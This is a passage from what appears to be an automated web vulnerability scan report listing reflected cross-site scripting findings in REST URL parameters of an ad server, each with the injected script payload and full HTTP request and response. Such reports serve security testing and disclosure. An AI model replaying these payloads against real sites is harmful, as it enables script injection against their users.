P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 345
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2245525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q290454"><script>alert(1)</script>2d82bb5a239/CPC/728/853761001/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.104. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 284b4"><script>alert(1)</script>d510252fe66 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2/CPC284b4"><script>alert(1)</script>d510252fe66/728/11959749775@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:03:33 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 346
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2/CPC284b4"><script>alert(1)</script>d510252fe66/728/1348337210/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.105. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed4d2"><script>alert(1)</script>1a64d0928f4 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2/CPC/728ed4d2"><script>alert(1)</script>1a64d0928f4/11959749775@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:03:35 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 345
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e3545525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2/CPC/728ed4d2"><script>alert(1)</script>1a64d0928f4/901638741/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.106. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 764de"><script>alert(1)</script>9f3a5ed7d4b was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90764de"><script>alert(1)</script>9f3a5ed7d4b HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:03:37 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 338
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e3945525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2/CPC/728/1687274362/x90764de"><script>alert(1)</script>9f3a5ed7d4b/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.107. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/1849951236@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c5f0"><script>alert(1)</script>f92225dbdf6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B38c5f0"><script>alert(1)</script>f92225dbdf6/Dominos/11Q2/CPC/728/1849951236@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; dlx_20100929=set; other_20110126=set; Dominos=247B3; id=914804995789526; session=1303242610|1303242619

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:06:48 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 345
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B38c5f0"><script>alert(1)</script>f92225dbdf6/Dominos/11Q2/CPC/728/421997782/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.108. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/1849951236@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff03f"><script>alert(1)</script>e08fcce560c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominosff03f"><script>alert(1)</script>e08fcce560c/11Q2/CPC/728/1849951236@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; dlx_20100929=set; other_20110126=set; Dominos=247B3; id=914804995789526; session=1303242610|1303242619

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:06:50 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 344
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominosff03f"><script>alert(1)</script>e08fcce560c/11Q2/CPC/728/81295705/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.109. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/1849951236@x90 [REST URL parameter 4]  previous  next

Summary

Severity: